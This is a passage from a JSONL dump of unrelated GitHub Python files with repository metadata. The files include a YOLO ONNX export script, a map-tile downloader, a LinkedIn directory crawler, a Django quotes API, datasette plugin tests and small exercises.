'000' in values:\n count += 1\n values = values.replace('000', '')\n if len(values) > 3:\n count += 1\n return ohms_prefix[count]\n\ndef format_values(values):\n dec_point_posn = 0\n if len(values) > 3:\n dec_point_posn = len(values)%3\n formatted_values = values[0:dec_point_posn] + '.' + values[dec_point_posn:len(values)]\n formatted_values = formatted_values.replace('0', '')\n if formatted_values[-1] == '.':\n formatted_values = formatted_values.replace('.','')\n return formatted_values\n return values\n","repo_name":"Matt-J-Jones/python-exercises","sub_path":"resistor-color-expert/resistor_color_expert.py","file_name":"resistor_color_expert.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22203565503","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*- \n#########start 获取文件路径、文件名、后缀名############\ndef get_filePath_fileName_fileExt(filename): \n (filepath,tempfilename) = os.path.split(filename); \n (shotname,extension) = os.path.splitext(tempfilename); \n return filepath,shotname,extension \n#########end 获取文件路径、文件名、后缀名############ \nimport os\n\n\nstart_nmu = 2000\nmax_nmu = 2050\n\n\n\n\n","repo_name":"analylx/Py_script","sub_path":"2018/numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22075255292","text":"import math\nimport Image\nimport pocket_rc4\n\nsize = 52*30\nc = pocket_rc4.Cipher()\nd = [i for i in xrange(1,53)]\nc.prepare_deck(d)\nfor i in xrange(13):\n c.shuffle_deck(d)\n\npic = Image.new('RGB', (size, size))\nfor x in xrange(size):\n for y in xrange(size):\n n = c.prng(d)\n if n % 2 == 0:\n pic.putpixel((x,y), (255,255,255))\n\npic.save('random.png')\n","repo_name":"atoponce/cardciphers","sub_path":"pocket_rc4/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"31034289440","text":"from flask.ext.assets import Bundle\n\nfrom flask_spirits.assets import js_jquery, js_bootstrap, css_bootstrap, \\\n js_davis, js_lodash, js_alertify, js_forms, css_alertify, css_modal, \\\n css_forms, js_datetimepicker, css_datetimepicker\n\njs_public = Bundle(\n js_jquery,\n js_bootstrap,\n js_datetimepicker,\n js_alertify,\n js_davis,\n js_lodash,\n\n js_forms,\n 'js/gpg.js'\n)\n\ncss_public = Bundle(\n css_bootstrap,\n css_datetimepicker,\n css_alertify,\n css_forms,\n css_modal,\n 'css/gpg.css'\n)\n\njs_admin = Bundle()\n\ncss_admin = Bundle()","repo_name":"glassplategame/glassplategame.com","sub_path":"glassplategame/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14255651325","text":"import itertools\nimport requests\nimport math\nimport os\nimport numpy as np\n\n\n# define the URL for tile server and get the proper size of the image, this example shows China\nURL = \"http://webrd04.is.autonavi.com/appmaptile?x={x}&y={y}&z={z}&lang=zh_cn&size=1&scale=1&style=7\"\n\nif not os.path.isdir(\"./tiles\"):\n os.makedirs(\"./tiles\", 0o777)\n\n\ndef download_tile(x, y, z):\n if not os.path.isdir(f\"./tiles/{z}\"):\n os.makedirs(f\"./tiles/{z}\", 0o777)\n file = f\"./tiles/{z}/{x}_{y}.png\"\n print(f\"download:{file}\")\n if os.path.exists(file) == True:\n print(f\"download:{file} file exist\")\n return\n url = URL.format(x=x, y=y, z=z)\n r = requests.get(url)\n if r.status_code == 200:\n with open(file, 'wb') as f:\n f.write(r.content)\n\n# Python Script to Calculate ZXY\ndef calc_zxy(lat, long, zoom):\n n = 2 ** zoom\n x = (long + 180) / 360 * n\n y = (1 - math.log(math.tan(lat * math.pi / 180) + 1 /\n math.cos(lat * math.pi / 180)) / math.pi) / 2 * n\n return int(zoom), int(x), int(y)\n\ndef down_all():\n for k, i, j in itertools.product(range(5, 8), range(-89, 90), range(-179, 180)):\n z, x, y = calc_zxy(i, j, k)\n download_tile(x, y, z)\n\n# def down_area(local1,local2,zoom):\n # for i in range(0,zoom):\n # z = i+1\n # calc1 = calc_zxy(local1,zoom)\n\n\n","repo_name":"canbefree/pys","sub_path":"maps/down_amap_tiles.py","file_name":"down_amap_tiles.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41932461453","text":"import argparse\nimport json\nimport os\nimport platform\nimport subprocess\nimport sys\nimport time\nimport warnings\nfrom pathlib import Path\n\nimport pandas as pd\nimport torch\nimport yaml\nfrom torch.utils.mobile_optimizer import optimize_for_mobile\n\nFILE = Path(__file__).resolve()\nROOT = FILE.parents[0] # YOLOv5 root directory\nif str(ROOT) not in sys.path:\n sys.path.append(str(ROOT)) # add ROOT to PATH\nif platform.system() != 'Windows':\n ROOT = Path(os.path.relpath(ROOT, Path.cwd())) # relative\n\nfrom models.experimental import attempt_load\nfrom models.yolo import Detect\nfrom models.yolov6_v1 import Detectv6\nfrom models.yolox import DetectX\nfrom utils.dataloaders import LoadImages\nfrom utils.general import (LOGGER, check_dataset, check_img_size, check_requirements, check_version, colorstr,\n file_size, print_args, url2file)\nfrom utils.torch_utils import select_device\n\n\ndef export_formats():\n # YOLOv5 export formats\n x = [\n ['PyTorch', '-', '.pt', True, True],\n ['TorchScript', 'torchscript', '.torchscript', True, True],\n ['ONNX', 'onnx', '.onnx', True, True],\n ['OpenVINO', 'openvino', '_openvino_model', True, False],\n ['TensorRT', 'engine', '.engine', False, True],\n ['CoreML', 'coreml', '.mlmodel', True, False],\n ['TensorFlow SavedModel', 'saved_model', '_saved_model', True, True],\n ['TensorFlow GraphDef', 'pb', '.pb', True, True],\n ['TensorFlow Lite', 'tflite', '.tflite', True, False],\n ['TensorFlow Edge TPU', 'edgetpu', '_edgetpu.tflite', False, False],\n ['TensorFlow.js', 'tfjs', '_web_model', False, False],]\n return pd.DataFrame(x, columns=['Format', 'Argument', 'Suffix', 'CPU', 'GPU'])\n\n\ndef export_onnx(model, im, file, opset, train, dynamic, simplify, prefix=colorstr('ONNX:')):\n # YOLOU ONNX export\n try:\n check_requirements(('onnx',))\n import onnx\n\n LOGGER.info(f'\\n{prefix} starting export with onnx {onnx.__version__}...')\n f = file.with_suffix('.onnx')\n print(f)\n\n torch.onnx.export(\n model, # --dynamic only compatible with cpu\n im,\n f,\n verbose=False,\n opset_version=opset,\n training=torch.onnx.TrainingMode.TRAINING if train else torch.onnx.TrainingMode.EVAL,\n do_constant_folding=not train,\n input_names=['images'],\n output_names=['output'],\n dynamic_axes={\n 'images': {0: 'batch'}, # shape(1,3,640,640)\n 'output': {0: 'batch'} # shape(1,num,85)\n } if dynamic else None)\n\n # Checks\n model_onnx = onnx.load(f) # load onnx model\n onnx.checker.check_model(model_onnx) # check onnx model\n\n # Metadata\n d = {'stride': int(max(model.stride)), 'names': model.names}\n for k, v in d.items():\n meta = model_onnx.metadata_props.add()\n meta.key, meta.value = k, str(v)\n onnx.save(model_onnx, f)\n\n # Simplify\n if simplify:\n try:\n cuda = torch.cuda.is_available()\n check_requirements(('onnxruntime-gpu' if cuda else 'onnxruntime', 'onnx-simplifier>=0.4.1'))\n import onnxsim\n\n LOGGER.info(f'{prefix} simplifying with onnx-simplifier {onnxsim.__version__}...')\n model_onnx, check = onnxsim.simplify(model_onnx)\n assert check, 'assert check failed'\n onnx.save(model_onnx, f)\n except Exception as e:\n LOGGER.info(f'{prefix} simplifier failure: {e}')\n LOGGER.info(f'{prefix} export success, saved as {f} ({file_size(f):.1f} MB)')\n return f\n except Exception as e:\n LOGGER.info(f'{prefix} export failure: {e}')\n\n\n@torch.no_grad()\ndef run(\n weights=ROOT / 'yolov5s.pt', # weights path\n imgsz=(640, 640), # image (height, width)\n batch_size=1, # batch size\n device='cpu', # cuda device, i.e. 0 or 0,1,2,3 or cpu\n include=('onnx'), # include formats\n half=False, # FP16 half-precision export\n inplace=False, # set YOLOv5 Detect() inplace=True\n train=False, # model.train() mode\n optimize=False, # TorchScript: optimize for mobile\n dynamic=False, # ONNX/TF: dynamic axes\n simplify=False, # ONNX: simplify model\n opset=12, # ONNX: opset version\n):\n t = time.time()\n include = [x.lower() for x in include] # to lowercase\n fmts = tuple(export_formats()['Argument'][1:]) # --include arguments\n flags = [x in include for x in fmts]\n assert sum(flags) == len(include), f'ERROR: Invalid --include {include}, valid --include arguments are {fmts}'\n jit, onnx, xml, engine, coreml, saved_model, pb, tflite, edgetpu, tfjs = flags # export booleans\n file = Path(url2file(weights) if str(weights).startswith(('http:/', 'https:/')) else weights) # PyTorch weights\n\n # Load PyTorch model\n device = select_device(device)\n if half:\n assert device.type != 'cpu' or coreml, '--half only compatible with GPU export, i.e. use --device 0'\n assert not dynamic, '--half not compatible with --dynamic, i.e. use either --half or --dynamic but not both'\n model = attempt_load(weights, device=device, inplace=True, fuse=True) # load FP32 model\n nc, names = model.nc, model.names # number of classes, class names\n\n # Checks\n imgsz *= 2 if len(imgsz) == 1 else 1 # expand\n assert nc == len(names), f'Model class count {nc} != len(names) {len(names)}'\n if optimize:\n assert device.type == 'cpu', '--optimize not compatible with cuda devices, i.e. use --device cpu'\n\n # Input\n gs = int(max(model.stride)) # grid size (max stride)\n imgsz = [check_img_size(x, gs) for x in imgsz] # verify img_size are gs-multiples\n im = torch.zeros(batch_size, 3, *imgsz).to(device) # image size(1,3,320,192) BCHW iDetection\n\n # Update model\n model.train() if train else model.eval() # training mode = no Detect() layer grid construction\n for k, m in model.named_modules():\n if isinstance(m, Detect):\n m.inplace = inplace\n m.onnx_dynamic = dynamic\n m.export = True\n if isinstance(m, Detectv6):\n m.export = True\n if isinstance(m, DetectX):\n m.export = True\n\n for _ in range(2):\n y = model(im) # dry runs\n if half and not coreml:\n im, model = im.half(), model.half() # to FP16\n shape = tuple(y[0].shape) # model output shape\n LOGGER.info(f\"\\n{colorstr('PyTorch:')} starting from {file} with output shape {shape} ({file_size(file):.1f} MB)\")\n\n # Exports\n f = [''] * 10 # exported filenames\n warnings.filterwarnings(action='ignore', category=torch.jit.TracerWarning) # suppress TracerWarning\n if onnx or xml: # OpenVINO requires ONNX\n f[2] = export_onnx(model, im, file, opset, train, dynamic, simplify)\n\n # Finish\n f = [str(x) for x in f if x] # filter out '' and None\n if any(f):\n h = '--half' if half else '' # --half FP16 inference arg\n LOGGER.info(f'\\nExport complete ({time.time() - t:.2f}s)'\n f\"\\nResults saved to {colorstr('bold', file.parent.resolve())}\"\n f\"\\nDetect: python detect.py --weights {f[-1]} {h}\"\n f\"\\nValidate: python val.py --weights {f[-1]} {h}\"\n f\"\\nPyTorch Hub: model = torch.hub.load('ultralytics/yolov5', 'custom', '{f[-1]}')\"\n f\"\\nVisualize: https://netron.app\")\n return f # return list of exported files/dirs\n\n\ndef parse_opt():\n parser = argparse.ArgumentParser()\n parser.add_argument('--weights', nargs='+', type=str, default=ROOT / 'weights/yolov5/yolov5s.pt', help='model.pt path(s)')\n parser.add_argument('--imgsz', '--img', '--img-size', nargs='+', type=int, default=[640, 640], help='image (h, w)')\n parser.add_argument('--batch-size', type=int, default=1, help='batch size')\n parser.add_argument('--device', default='cpu', help='cuda device, i.e. 0 or 0,1,2,3 or cpu')\n parser.add_argument('--half', action='store_true', help='FP16 half-precision export')\n parser.add_argument('--inplace', action='store_true', help='set YOLOv5 Detect() inplace=True')\n parser.add_argument('--train', action='store_true', help='model.train() mode')\n parser.add_argument('--optimize', action='store_true', help='TorchScript: optimize for mobile')\n parser.add_argument('--dynamic', default=True, help='ONNX/TF: dynamic axes')\n parser.add_argument('--simplify', default=True, help='ONNX: simplify model')\n parser.add_argument('--opset', type=int, default=12, help='ONNX: opset version')\n parser.add_argument('--include', default=['onnx'], help='onnx')\n opt = parser.parse_args()\n print_args(vars(opt))\n return opt\n\n\ndef main(opt):\n for opt.weights in (opt.weights if isinstance(opt.weights, list) else [opt.weights]):\n run(**vars(opt))\n\n\nif __name__ == \"__main__\":\n opt = parse_opt()\n main(opt)\n","repo_name":"jizhishutong/YOLOU","sub_path":"tools/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":9080,"program_lang":"python","lang":"en","doc_type":"code","stars":723,"dataset":"github-code","pt":"62"} +{"seq_id":"34540397777","text":"from companies_collection import CompaniesCollection\nfrom company_directory_interface import CompanyDirectoryInterface\nfrom crawlers_collection import CrawlersCollection\nfrom time import sleep\n\n\nclass Crawler():\n def __init__(self, linkedin):\n self.linkedin = linkedin\n self.db = {'companies': CompaniesCollection(),\n 'crawlers': CrawlersCollection()}\n\n def companies(self, letter, page, sub_page, retrying=False):\n try:\n data = self.linkedin.companies_directory(\n letter, page=page, sub_page=sub_page)\n except Exception as exception:\n if retrying:\n raise exception\n\n self.linkedin.refresh_cookies()\n sleep(2)\n return self.companies(letter, page=page, sub_page=sub_page,\n retrying=True)\n\n interface = CompanyDirectoryInterface(data)\n companies = interface.extract()\n\n self.save_companies(companies)\n self.__update_crawler(letter, page, sub_page)\n\n return companies\n\n def save_companies(self, companies):\n for company in companies:\n company['linkedin'] = company['linkedin'].strip('/')\n if self.db['companies'].find_by_linkedin(company['linkedin']):\n return False\n\n self.db['companies'].insert(company)\n\n return True\n\n def get_crawler(self):\n return self.db['crawlers'].last()\n\n def __update_crawler(self, letter, page, sub_page):\n return self.db['crawlers'].update(letter=letter, page=page,\n sub_page=sub_page)\n","repo_name":"robertoarruda/linkedin-public-dir-companies","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"62"} +{"seq_id":"70404407879","text":"# Use the file name mbox-short.txt as the file name\nfname = input(\"Enter file name: \")\nfh = open(fname)\ncount=0\nadd=0\nsearch=0\nfor line in fh:\n if not line.startswith(\"X-DSPAM-Confidence:\"):\n continue\n else:\n count=count+1\n extract=line.strip(\"X-DSPAM-Confidence: \")\n num=float(extract)\n add=add+num\n \naverage=add/count\nprint(\"Average spam confidence:\",average)","repo_name":"revacprogramming/python101-Madhuri122002","sub_path":"ActivitySet#1/problem#08.py","file_name":"problem#08.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5849005727","text":"\"\"\"university={'IT':54,'economy':6,'medicine':87}\nuniversity['IT']=55\nuniversity['lingustik']=556\nuniversity.pop('medicine')\ntotal = sum(university.values())\nprint(total)\n\n\ndict_={1:'a',2:'b',3:'c'}\nnew_dict={}\nfor key, value in dict_.items():\n new_dict.update({value: key})\nprint(new_dict) \ncount=int(input(\"how many guests\"))\nguests={}\nfor i in range(1,count+1):\n names=input()\n guests[i]=names\nprint(guests)\"\"\"\n\n#my_list=[{'alma':44},\n# {'meat':33},\n# {'potato':9},\n# {'asdroid':2},\n# {'pizza':67}]\n#while my_list:\n # products_to_remove=input()\n # for products in my_list:\n # if products_to_remove in products:\n # del products[products_to_remove]\n # print(my_list)\n # if not any(my_list):\n # break\n#print('it\"s time to pay')\nlist_=['yellow','red','blue','dark']\nlist1=[]\nfor i in list_:\n c=i[::-1]\n list1.append(c)\nlist1.sort(key=lambda x: len(x))\nprint(list1)\n\n\n#task32\nlist1=[1,2,3,4,5,6,7,8,9]\nelement='A'\nstep=2\nfor i in range(0,len(list1),step):\n list1.insert(i+step,element)\nprint(list1)\n\n\n#task33\nlist1=[[1,2,3],[2,3,4,5],[43,34,343434]]\nmax_sublist=max(list1,key=sum)\nprint(max_sublist)\n\n\n#task34\nlist_=[1,1,1,2,2,3,4,4,5]\nbebra=[]\nfor i in list_:\n if list_.count(i) >1 and i not in bebra:\n bebra.append(i)\nprint(bebra)\n \n\n \n\n","repo_name":"sanCH0yzZ/04.03.23","sub_path":"usualpython.py","file_name":"usualpython.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"45939794730","text":"import math\nimport sys\n\ninput = sys.stdin.readline\n\n\ndef get_diff(a, b, m):\n return sum([abs(ord(a[i]) - ord(b[i])) for i in range(m)])\n\n\nfor _ in range(int(input())):\n n, m = map(int, input().split())\n data = [input().rstrip() for _ in range(n)]\n mv = math.inf\n for i in range(n - 1):\n for j in range(i + 1, n):\n mv = min(mv, get_diff(data[i], data[j], m))\n\n print(mv)\n","repo_name":"ThinkingDobby/PythonProgramming","sub_path":"codeforces/practice/year22/mon5/under1000/1676C. Most Similar Words.py","file_name":"1676C. Most Similar Words.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33650844532","text":"from django.db.models import Count\nfrom rest_framework import generics, permissions, filters\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom .models import Quote\nfrom authors.models import Author\nfrom .serializers import QuoteSerializer\nfrom quotme_api.permissions import IsOwnerOrReadOnly\n\n\nclass QuoteList(generics.ListCreateAPIView):\n\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = QuoteSerializer\n queryset = Quote.objects.annotate(\n comments_count=Count('comment', distinct=True),\n likes_count=Count('likes', distinct=True),\n ).order_by('-created_at')\n\n filter_backends = [\n filters.OrderingFilter,\n filters.SearchFilter,\n DjangoFilterBackend,\n ]\n filterset_fields = [\n 'owner__followed__owner__profile',\n 'likes__owner__profile',\n 'saved__owner__profile',\n 'owner__profile',\n 'category',\n 'author',\n ]\n search_fields = [\n 'owner__username',\n 'category',\n 'author__name',\n 'content',\n ]\n ordering_fields = [\n 'comments_count',\n 'likes_count',\n 'likes__created_at'\n ]\n\n def perform_create(self, serializer):\n name = serializer.validated_data['author']\n author_instance, created = Author.objects.get_or_create(name=name)\n serializer.save(owner=self.request.user, author=author_instance)\n\n\nclass QuoteDetail(generics.RetrieveUpdateDestroyAPIView):\n\n permission_classes = [IsOwnerOrReadOnly]\n serializer_class = QuoteSerializer\n queryset = Quote.objects.annotate(\n comments_count=Count('comment', distinct=True),\n likes_count=Count('likes', distinct=True),\n ).order_by('-created_at')\n\n def perform_update(self, serializer):\n name = serializer.validated_data['author']\n author_instance, created = Author.objects.get_or_create(name=name)\n serializer.save(author=author_instance)\n","repo_name":"andrebraga7/quotme-api","sub_path":"quotes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5861145693","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n #DISPLAY PATHS\n path('', views.displayIndex),\n path('hello/', views.helloAge),\n path('payments', views.displayPayments),\n path('success', views.displaySuccess),\n\n #ACTION PATHS\n path('hello/sendMeHome', views.sendHome),\n path('processCard', views.processCard),\n]\n","repo_name":"ballageo/Feb_Python_2021","sub_path":"Django/bananas/flamingBananas/application/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41936351113","text":"# -*- coding: utf-8 -*-\r\nimport time\r\nfrom openerp import models, fields, api, _\r\nfrom datetime import datetime\r\nfrom dateutil.relativedelta import relativedelta\r\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT\r\n\r\nclass res_partner(models.Model):\r\n\r\n _inherit = 'res.partner' \r\n\r\n def do_partner_print(self, cr, uid, wizard_partner_ids, data, context=None):\r\n #wizard_partner_ids are ids from special view, not from res.partner\r\n if not wizard_partner_ids:\r\n return {}\r\n data['partner_ids'] = wizard_partner_ids\r\n datas = {\r\n 'ids': wizard_partner_ids,\r\n 'model': 'account_followup.followup',\r\n 'form': data\r\n }\r\n \r\n report_ids = self.pool.get('ir.actions.report.xml').search(cr, uid, [('model', '=', 'account_followup.followup'),('is_default','=',True)], limit=1)\r\n if not report_ids:\r\n report_ids = self.pool.get('ir.actions.report.xml').search(cr, uid, [('model', '=', 'account_followup.followup')], limit=1)\r\n report_obj = self.pool.get('ir.actions.report.xml').browse(cr, uid, report_ids[0], context=context)\r\n return self.pool['report'].get_action(cr, uid, [], report_obj.report_name, data=datas, context=context)\r\n\r\n","repo_name":"houssine78/addons_defiline","sub_path":"theme_zen/account_followup.py","file_name":"account_followup.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5599712663","text":"import datasette\nfrom datasette.app import Datasette\nimport sqlite_utils\nimport pytest\nimport json\n\n\n@pytest.fixture\ndef db_path(tmpdir):\n path = str(tmpdir / \"data.db\")\n db = sqlite_utils.Database(path)\n db[\"creatures\"].insert_all(\n [\n {\"name\": \"Cleo\", \"description\": \"A medium sized dog\"},\n {\"name\": \"Siroco\", \"description\": \"A troublesome Kakapo\"},\n ]\n )\n return path\n\n\n@pytest.mark.asyncio\nasync def test_no_form_on_index_if_not_searchable(db_path):\n datasette = Datasette([db_path])\n response = await datasette.client.get(\"/\")\n assert response.status_code == 200\n assert '
    ' not in response.text\n\n\n@pytest.mark.asyncio\nasync def test_no_nav_menu_if_not_searchable(db_path):\n datasette = Datasette([db_path])\n response = await datasette.client.get(\"/\")\n assert response.status_code == 200\n assert '
    ' not in response.text\n\n\n@pytest.mark.asyncio\nasync def test_shows_form_on_index_if_searchable(db_path):\n sqlite_utils.Database(db_path)[\"creatures\"].enable_fts([\"name\", \"description\"])\n datasette = Datasette([db_path])\n response = await datasette.client.get(\"/\")\n assert response.status_code == 200\n assert '' in response.text\n\n\n@pytest.mark.asyncio\nasync def test_shows_nav_menu_if_searchable(db_path):\n sqlite_utils.Database(db_path)[\"creatures\"].enable_fts([\"name\", \"description\"])\n datasette = Datasette([db_path])\n response = await datasette.client.get(\"/\")\n assert response.status_code == 200\n assert '
    ' in response.text\n\n\n@pytest.mark.asyncio\nasync def test_search_page(db_path):\n sqlite_utils.Database(db_path)[\"creatures\"].enable_fts([\"name\", \"description\"])\n datasette = Datasette([db_path])\n response = await datasette.client.get(\"/-/search?q=dog\")\n assert response.status_code == 200\n content = response.text\n assert '' in content\n assert \"Search: dog\" in content\n assert (\n '
  • '\n ''\n 'Search data: creatures for \"dog\"
  • '\n ) in content\n # Should only have one set of breadcrumbs\n # https://github.com/simonw/datasette/issues/1901\n assert content.count('

    ') == 1\n assert content.count('home') == 1\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"path\", [\"/\", \"/-/search\"])\nasync def test_base_url(db_path, path):\n sqlite_utils.Database(db_path)[\"creatures\"].enable_fts([\"name\", \"description\"])\n datasette = Datasette([db_path], settings={\"base_url\": \"/foo/\"})\n response = await datasette.client.get(path)\n assert response.status_code == 200\n assert '' in response.text\n assert 'action=\"/foo/-/search\"' in response.text\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\n \"metadata,expected_tables\",\n (\n ({}, [\"creatures\", \"other\"]),\n ({\"allow\": False}, []),\n (\n {\"allow\": False, \"databases\": {\"data\": {\"allow\": True}}},\n [\"creatures\", \"other\"],\n ),\n (\n {\n \"allow\": False,\n \"databases\": {\"data\": {\"tables\": {\"creatures\": {\"allow\": True}}}},\n },\n [\"creatures\"],\n ),\n ),\n)\nasync def test_table_permissions(db_path, metadata, expected_tables):\n db = sqlite_utils.Database(db_path)\n db[\"creatures\"].enable_fts([\"name\", \"description\"])\n db[\"other\"].insert({\"name\": \"name here\"})\n db[\"other\"].enable_fts([\"name\"])\n datasette = Datasette([db_path], metadata=metadata)\n response = await datasette.client.get(\"/-/search\")\n menu_fragment = '

  • Search all tables
  • '\n if expected_tables:\n # Nav menu option should be present\n assert menu_fragment in response.text\n else:\n assert menu_fragment not in response.text\n # searchable_tables JSON should match expected\n encoded = response.text.split(\"var searchable_tables = \")[1].split(\";\")[0]\n searchable_tables = json.loads(encoded)\n assert [t[\"table\"] for t in searchable_tables] == expected_tables\n","repo_name":"simonw/datasette-search-all","sub_path":"tests/test_search_all.py","file_name":"test_search_all.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"62"} +{"seq_id":"41253475864","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n from string import ascii_lowercase\n\n x = input()\n n = int(input())\n d = {xi: ascii_lowercase[index] for index, xi in enumerate(x)}\n t = list()\n\n for _ in range(n):\n s = input()\n u = \"\"\n\n for si in s:\n u += d[si]\n t.append((u, s))\n \n for _, ans in sorted(t):\n print(ans)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"ABC/abc201-abc250/abc219/c/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"35365391186","text":"# -*- coding: utf-8 -*-\n\n\n\nfrom pychronia_game.common import *\nfrom pychronia_game.datamanager.datamanager_tools import readonly_method\n\nACTION_MIDDLEWARES = []\n\n\ndef register_action_middleware(klass):\n # class format checking is done here, since no metaclass is used\n assert set(klass.COMPATIBLE_ACCESSES) <= set(UserAccess.enum_values)\n\n assert klass not in ACTION_MIDDLEWARES\n for _klass in ACTION_MIDDLEWARES:\n assert klass.__name__ != _klass.__name__\n ACTION_MIDDLEWARES.append(klass)\n\n return klass\n\n\nclass AbstractActionMiddleware(object):\n \"\"\"\n Action middlewares are meant to be active ONLY for characters, not anonymous/master!\n \"\"\"\n\n COMPATIBLE_ACCESSES = None # must be overriden as a list of UserAccess entries, for which that middleware can be activated\n\n @classmethod\n def _setup_action_middleware_settings(cls, settings):\n \"\"\"\n These methods must call their parent.\n \"\"\"\n settings.setdefault(\"middlewares\",\n PersistentMapping()) # mapping action_name => dict of (middleware_name => data_dict) entries\n\n for action_name, action_middlewares in list(settings[\"middlewares\"].items()):\n for middleware_name, data_dict in list(action_middlewares.items()):\n data_dict.setdefault(\"is_active\", True) # all middlewares ON by default\n\n def _setup_private_action_middleware_data(self, private_data):\n \"\"\"\n These methods must call their parent.\n \"\"\"\n private_data.setdefault(\"middlewares\", PersistentMapping()) # structure similar to middleware settings above\n\n def _check_action_middleware_data_sanity(self, strict=False):\n \"\"\"\n These methods must call their parent.\n \"\"\"\n settings = self.settings\n for action_name, action_middlewares in list(settings[\"middlewares\"].items()):\n for middleware_name, data_dict in list(action_middlewares.items()):\n utilities.check_is_bool(data_dict[\"is_active\"]) # common to all middleware confs\n\n # we check below that no unknown middleware NAME is in settings or private data (could be a typo),\n # and that activated middlewares are well compatible with current ability (security measure)\n all_middleware_data_packs = list(self.settings[\"middlewares\"].values())\n\n for user_id, private_data in list(self.all_private_data.items()):\n for action_name, tree in list(private_data.get(\"middlewares\", {}).items()):\n all_middleware_data_packs.append(tree) # maps middleware class names to their data\n\n known_middleware_names_set = set([klass.__name__ for klass in ACTION_MIDDLEWARES])\n compatible_middleware_names_set = set(\n [klass.__name__ for klass in ACTION_MIDDLEWARES if self.ACCESS in klass.COMPATIBLE_ACCESSES])\n\n #print(\"------DATAPACKS-------->\", self.__class__.__name__, all_middleware_data_packs)\n\n for pack in all_middleware_data_packs:\n pack_keys = set(pack.keys())\n if strict:\n assert pack_keys <= known_middleware_names_set, known_middleware_names_set - pack_keys # unknown middleware (typo ?)\n assert pack_keys <= compatible_middleware_names_set, (\n pack_keys, compatible_middleware_names_set, self.ACCESS,\n known_middleware_names_set) # middleware can't be used with that kind of ability ACCESS\n\n def get_all_middleware_settings(self, middleware_class):\n \"\"\"\n Returns a dict action_name => middleware settings) for that specific middleware_class.\n \n User-specific overrides are also returned, with keys \"action_name.username\" and values \n already \"complete\" (merged with base settings).\n \"\"\"\n action_settings_dicts = {}\n\n for action_name, tree in list(self.settings[\"middlewares\"].items()):\n if middleware_class.__name__ in tree:\n action_settings_dicts[action_name] = tree[middleware_class.__name__]\n\n #print(\"----action_settings_dicts AA --->\", middleware_class.__name__, action_settings_dicts)\n\n for user_id, private_data in list(self.all_private_data.items()):\n for action_name, tree in list(private_data.get(\"middlewares\", {}).items()):\n if middleware_class.__name__ in tree and \"settings_overrides\" in tree[middleware_class.__name__]:\n user_specific_settings = {} # NEW container, copy.copy() has bugs with persistent mappings and their ID\n user_specific_settings.update(action_settings_dicts[\n action_name]) # MUST exist - no user-specific overrides without a base content!\n user_specific_settings.update(tree[middleware_class.__name__][\"settings_overrides\"]) # OVERRIDES\n action_settings_dicts[action_name + \".\" + user_id] = user_specific_settings\n\n #print(\"----action_settings_dicts BB --->\", middleware_class.__name__, action_settings_dicts)\n\n return action_settings_dicts\n\n def get_middleware_settings(self, action_name, middleware_class, ensure_active=True):\n\n assert action_name and middleware_class\n assert not ensure_active or self.user.is_character\n middleware_settings = {} # NEW container\n middleware_settings.update(self.settings[\"middlewares\"][action_name][middleware_class.__name__])\n #print(\">-------222222--\", self.user.is_character, self.user.username, middleware_settings)\n if self.user.is_character:\n try:\n private_data = self.get_private_middleware_data(action_name=action_name,\n middleware_class=middleware_class,\n create_if_unexisting=False)\n overrides = private_data.get(\"settings_overrides\", {})\n middleware_settings.update(overrides)\n except LookupError:\n pass # no middleware settings overrides, all is OK\n if ensure_active and not middleware_settings[\"is_active\"]:\n # most of the time we we should not deal with inactive middlewares\n raise RuntimeError(\n _(\"Inactive middleware lookup in get_middleware_settings() of %s\") % self.__class__.__name__)\n return middleware_settings\n\n def get_all_private_middleware_data(self, middleware_class, filter_by_action_name=None):\n \"\"\"\n Returns a list of private middleware data dicts (those that have already\n been lazy-initialized, actually), for a specific middleware type, and\n for all \"users\" of that ability.\n 